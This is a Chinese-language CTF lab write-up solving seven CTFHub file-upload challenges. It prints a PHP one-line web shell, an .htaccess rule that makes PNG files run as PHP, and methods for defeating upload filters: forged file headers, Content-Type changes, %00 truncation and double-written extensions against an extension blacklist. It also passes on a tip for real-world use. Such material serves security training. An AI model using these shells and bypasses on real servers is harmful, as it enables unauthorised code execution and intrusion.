CTFHub-技能树-文件上传
1.无验证
= = 这道题忘了截图
不过思路很简单,写个一句话shell传上去,然后手动或者用蚁剑(这周任务学完写个蚁剑的简单用法总结)连上去,在www目录(好像),就可以找到flag文件,打开就可以拿到flag。
一句话<?php eval($_POST['cmd']); ?>
,实战的话,尽量用一些比较特别的参数名
当然也可以手工shell,手工shell的话,eval里要用GET
2.前端验证
上传一句话,提示不允许上传,查看源代码,有检测的js代码,直接在浏览器里设置禁用js代码,然后上传。
用蚁剑连上,在html文件夹里就可以看到flag文件
3.文件头检查
直接提交会报错
去查了下,文件头的意思是,不同格式的文件开头会有特征值,然后服务端会检查文件头来确定文件类型是否符合要求。思路就是伪造文件头。
随便传个png上去,用burp抓包,保留文件头,加上一句话shell,让背后把文件名后缀改成php,但是打开有报错
应该是对二进制字符解析出错,那么在上传的时候只保留文件头和一句话即可
手动/蚁剑连上,就可以在目录中找到flag_xxxxxxxx.php
4..htaccess
百科对.htaccess的介绍:.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
这道题应该是让用自己写的.htaccess去覆盖服务器的.htaccess从而允许一些功能。
这篇总结写的很详细,可以看一下。
做题过程:
先上传个一句话,提示文件类型不匹配
又上传了一张图片,上传成功
推断需要构造.htaccess,来让服务器把png当作php解析,
AddType application/x-httpd-php .png
上传.htaccess(就上边这一句话)-->上传成功
写个一句话shell,然后把后缀改成png --> 上传成功
最后用手工或者工具连上去,就能在html文件夹里找到flag
5.MIME绕过
MIME原本是指多用途互联网邮件扩展类型。后来被用到了HTTP的Content-Type字段,称为互联网媒体类型。
所以这道题的思路很清晰,修改Content-Type为合法类型
用burp抓包,修改content-type
上传成功,手工/工具连接,在html里又flag
6.00截断
原理:
%00,0x00,/00都属于00截断,利用的是服务器的解析漏洞(ascii中0表示字符串结束),所以读取字符串到00就会停止,认为已经结束。
我想的是,用.jpg%00.php的后缀绕过白名单,但是这样上传上去是图片,而且文件名是随机的(可以爆破出来),不可行,这是response注释里的代码
if (!empty($_POST['submit'])) {
$name = basename($_FILES['file']['name']);
$info = pathinfo($name);
$ext = $info['extension'];
$whitelist = array("jpg", "png", "gif");
if (in_array($ext, $whitelist)) {
$des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;
// move_uploaded_file($file, $des)把文件file移动到des中
// $_FILES 用于读取HTTP POST上传的数组
if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {
echo "<script>alert('上传成功')</script>";
} else {
echo "<script>alert('上传失败')</script>";
}
} else {
echo "文件类型不匹配";
}
}
可以看到,des是最终的文件名,由$_GET['road']
,/,随机数,日期,后缀名组成。
其中GET参数road是可控的,所以可以通过%00截断,达到$des = $_GET['road']
的效果
拼接后,$des = '/var/www/html/upload/cmd.php%00/xxYearMoHoMiSe.jpg'
,但服务器解析时,00后的字符串会被忽略
7.双写后缀
看题意,感觉会是服务器端删除/替换后缀
直接双写后缀.php.php
上传,上传成功,response里有注释源码
$name = basename($_FILES['file']['name']);
$blacklist = array("php", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess", "ini");
$name = str_ireplace($blacklist, "", $name);
// str_ireplace($search, $replace, $subject)
// 把subject中的所有search替换为replace
和前边猜的有点不一样,是把所有匹配到的字符串都删掉了
emmmm,自己想错了,应该是这样双写.pphphp
,删掉一个php后,仍然还是php,再次上传
连上去拿到flag